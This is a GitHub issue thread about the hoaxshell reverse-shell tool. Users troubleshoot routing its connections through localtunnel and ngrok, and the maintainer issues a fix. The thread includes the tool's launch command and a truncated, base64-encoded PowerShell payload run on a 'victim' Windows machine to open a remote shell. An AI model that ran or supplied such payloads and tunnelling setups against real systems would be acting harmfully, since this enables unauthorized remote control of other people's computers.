Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Localtunnel not establishing connection #32

Open
Skylark055 opened this issue Oct 17, 2022 · 9 comments
Open

Localtunnel not establishing connection #32

Skylark055 opened this issue Oct 17, 2022 · 9 comments

Comments

@Skylark055
Copy link

Skylark055 commented Oct 17, 2022

Hello,
I've been recently playing around with hoaxshell and trying to make its connection go through localtunnel, instead of running it on a local network. I managed to make it work with Ngok, but this has a limit of 20 connections per minute, which is easily achieved by running a few commands. With localtunnel, no errors arise when running the payload in PowerShell, but no connection is found, nothing happens. This happened both connected to the same local network and two separate ones.

Here are the commands I ran on Linux:
cd hoaxshell/
sudo python3 hoaxshell.py -lt

On windows powershell:
powershell -e JABzAD0AJwBlAGEAcwB [...] fQA=

Am I doing this correctly?
image

@i12bp8
Copy link

i12bp8 commented Oct 17, 2022

LocalTunnel gives me errors too.

image

@Skylark055
Copy link
Author

image
@juicyhacker this happens for me some 30 sec after terminating the session, but never before that

@i12bp8
Copy link

i12bp8 commented Oct 17, 2022

@Skylark055 yeah that's normal because you close the server, mine is when executing the payload as "victim".

@Skylark055
Copy link
Author

@Skylark055 yeah that's normal because you close the server, mine is when executing the payload as "victim".

Exactly, weird it does that for you immediately. Strange also that mine seemingly has a connection without a shell

@i12bp8
Copy link

i12bp8 commented Oct 17, 2022

@Skylark055 yeah that's normal because you close the server, mine is when executing the payload as "victim".

Exactly, weird it does that for you immediately. Strange also that mine seemingly has a connection without a shell

@Skylark055 The network I was on was refusing connection with LocalTunnel, now on my own network I am having the same issue as you.

@davidcenoura
Copy link

Dont work with LocalTunnel and ngrok, please fix

@Skylark055
Copy link
Author

@Skylark055 yeah that's normal because you close the server, mine is when executing the payload as "victim".

Exactly, weird it does that for you immediately. Strange also that mine seemingly has a connection without a shell

@Skylark055 The network I was on was refusing connection with LocalTunnel, now on my own network I am having the same issue as you.

That makes sense. Also @davidcenoura Ngrok works fine! It's just rate limited to 20 connections per minute due to it being a free plan, which is only resolved by paying for their services. There is nothing wrong with it, only localtunnel is broken right now for us.

@t3l3machus
Copy link
Owner

@Skylark055 @juicyhacker please, update hoaxshell and try localtunnel again. Let me know if the issue is resolved.

@Skylark055
Copy link
Author

Skylark055 commented Oct 19, 2022

@Skylark055 @juicyhacker please, update hoaxshell and try localtunnel again. Let me know if the issue is resolved.

Hey, The update fixed one thing: The reverse shell now can be established! As seen with the screenshot attached though, it only executes one command until it breaks. It ended up killing my internet on my windows machine, in effect terminating the shell.
Here are some screenshots:
image
image

Had to restart my windows machine to get any internet access back

EDIT:
image
Sometimes the shell just hangs, stabilizing the shell but no command prompt after a minute. This or an entered command freezes when entered
image
Mostly because of this. A maximum of one command gets through

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants